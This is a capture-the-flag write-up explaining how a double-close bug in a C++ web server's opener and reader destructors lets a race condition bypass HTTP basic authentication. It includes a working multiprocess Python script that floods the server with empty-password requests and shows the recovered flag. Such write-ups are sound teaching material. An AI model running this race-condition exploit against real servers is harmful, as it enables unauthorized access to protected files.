This challenge was a simple  
(multi-threaded)  
C++ web server
([source](https://hxp.io/assets/data/posts/69-sicher2/sicher2.cpp.txt))  
featuring HTTP basic authentication for files in the `/secret/`  
directory, which includes
[`flag.html`](https://hxp.io/assets/data/posts/69-sicher2/flag.html).  
Solvers had to circumvent the password check  
(or figure out a way to get code execution  
that I haven't discovered yet `:-)`).

At first glance, the server uses mostly modern C++ APIs  
and there are no blatant security holes. The `b64decode()`  
function perhaps looked a bit fishy, but does not contain  
any (intentional `:-)`) vulnerabilities.

However, there is a subtle bug in the implementation of  
the `opener` and `reader` classes: The destructor is  
`virtual` in `opener` [and `reader`](https://stackoverflow.com/a/677649),  
which means that [both destructors are
called](https://stackoverflow.com/a/677623)  
and therefore the `close()` is executed twice — so if  
*between* the first and second `close()`, another  
file is opened and assigned the same file descriptor,  
it will erroneously be closed, which can be fatal:  
Closing the `password.txt` file containing the  
authentication credentials for the `/secret/` directory  
*before* the password can be read by `reader::get()`  
leads to an empty password!  
At this point, the exploit strategy is remarkably simple:  
Keep hammering the server with  
a request for `/secret/flag.txt`  
using the username `root`  
and an empty password,  
until one of the parallel executions  
closes another's `password.txt`  
file descriptor before the password is read.  
At this point, the empty password is considered  
correct and the `flag.html` file  
is returned to the client.

Here's a slightly dirty Python script that performs this exploit:

```python  
#!/usr/bin/env python3  
import sys, socket, queue  
from multiprocessing import Process, Queue

count = 5000  
req = b'''GET / HTTP/1.1

GET /secret/flag.html HTTP/1.1  
Authorization: Basic cm9vdDo=

'''

q = Queue()

def pwn():

for _ in range(3):

sock = socket.socket()  
sock.settimeout(2)  
sock.connect((sys.argv[1], int(sys.argv[2])))  
for _ in range(count):  
try:  
sock.sendall(req)  
except:  
pass

s = b''  
while s.count(b'HTTP/1.1') < count:

try:  
tmp = sock.recv(0x100)  
except socket.timeout:  
tmp = b''  
except Exception:  
pass

if not tmp:  
break  
s += tmp

while b'\n' in s:  
n = s.index(b'\n')  
if 'hxp{' in s[:n].decode():  
q.put(s[:n].decode())  
return

s = s[n+1:]

if 'hxp{' in s.decode():  
q.put(s.decode())  
return

sock.close()

for _ in range(1000):  
print('.', flush=True, end='', file=sys.stderr)  
procs = []  
for _ in range(4):  
proc = Process(target=pwn, args=())  
procs.append(proc)  
proc.start()

for proc in procs:  
proc.join()

try:  
print(q.get_nowait())  
sys.exit(0)  
except queue.Empty:  
pass

sys.exit(1)  
```

After a few attempts, this gives the flag:

```  
....... <marquee>hxp{s0rrY_w3_4Re_cL0s3D}</marquee>  
```

Original writeup (https://hxp.io/blog/69/hxp-36C3-CTF-sicher/).